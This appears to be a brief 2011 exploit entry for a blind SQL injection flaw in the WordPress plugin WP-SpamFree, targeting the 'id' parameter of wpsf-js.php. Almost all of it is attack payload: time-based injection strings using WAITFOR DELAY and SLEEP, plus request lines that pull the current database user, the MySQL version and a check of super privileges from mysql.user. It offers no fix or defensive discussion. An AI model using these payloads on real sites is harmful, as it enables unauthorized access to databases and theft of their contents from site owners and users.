http://<target>/wp-content/plugins/wp-spamfree/js/wpsf-js.php?id=1

#Exploit:id=-1; WAITFOR DELAY '0:0:5';-- or id=-1 AND SLEEP(5)

#[http://<taget>:80/wp-content/plugins/wp-spamfree/js/wpsf-js.php][GET][id=-1][CURRENT_USER()

#http://<target>:80/wp-content/plugins/wp-spamfree/js/wpsf-js.php][GET][id=-1][SELECT (CASE WHEN ((SELECT super_priv FROM
mysql.user WHERE user='None' LIMIT 0,1)='Y') THEN 1 ELSE 0 END)

#http://<target>:80/wp-content/plugins/wp-spamfree/js/wpsf-js.php][GET][id=-1][MID((VERSION()),1,6)




# [2011-10-11]